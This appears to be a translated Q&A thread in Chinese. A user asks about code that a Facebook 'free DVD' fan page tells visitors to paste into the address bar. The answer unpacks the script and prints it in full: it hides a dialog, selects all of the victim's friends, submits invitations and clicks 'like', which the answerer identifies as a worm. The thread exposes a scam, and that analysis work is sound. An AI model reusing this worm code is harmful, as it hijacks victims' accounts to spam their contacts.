Facebook javascript

Question

Facebook上的"朋友"建议我成为某些视频库的粉丝以获得免费DVD,并在"免费DVD"标签下的粉丝页面上有一些代码,它要求用户复制并粘贴到地址栏中.

我想知道是否有人只是通过查看它知道这个代码会做什么.我想我需要登录Facebook才能使用它,但我不想粘贴它,如果它是恶意的并且垃圾邮件是我所有的其他Facebook好友.

谁能说出来？

这是使用打包器压缩的您可以使用http://jsbeautifier.org/之类的工具来解压缩它

a = 'app113639355344735_ncpCAE';
b = 'app113639355344735_RWwtnR';
WGOEjW = 'app113639355344735_WGOEjW';
zsbTwe = 'app113639355344735_zsbTwe';
wwEggB = 'app113639355344735_wwEggB';
d = document;
d['getElementById'](wwEggB)['style']['visibility'] = 'hidden';
d['getElementById'](a)['innerHTML'] = d['getElementById'](b)['value'];
s = d['getElementById']('suggest');
m = d['getElementById']('likeme');
c = d['createEvent']('MouseEvents');
c['initEvent']('click', true, true);
s['dispatchEvent'](c);
setTimeout(function () {
    fs['select_all']()
}, 5000);
setTimeout(function () {
    SocialGraphManager['submitDialog']('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')
}, 5000);
setTimeout(function () {
    m['dispatchEvent'](c);
    d['getElementById'](zsbTwe)['innerHTML'] = d['getElementById'](WGOEjW)['value']
}, 5000);

正如您所看到的,这将打开一个隐藏对话框,选择所有朋友并发出单击事件以便运行邀请 - 简而言之,它就是蠕虫.
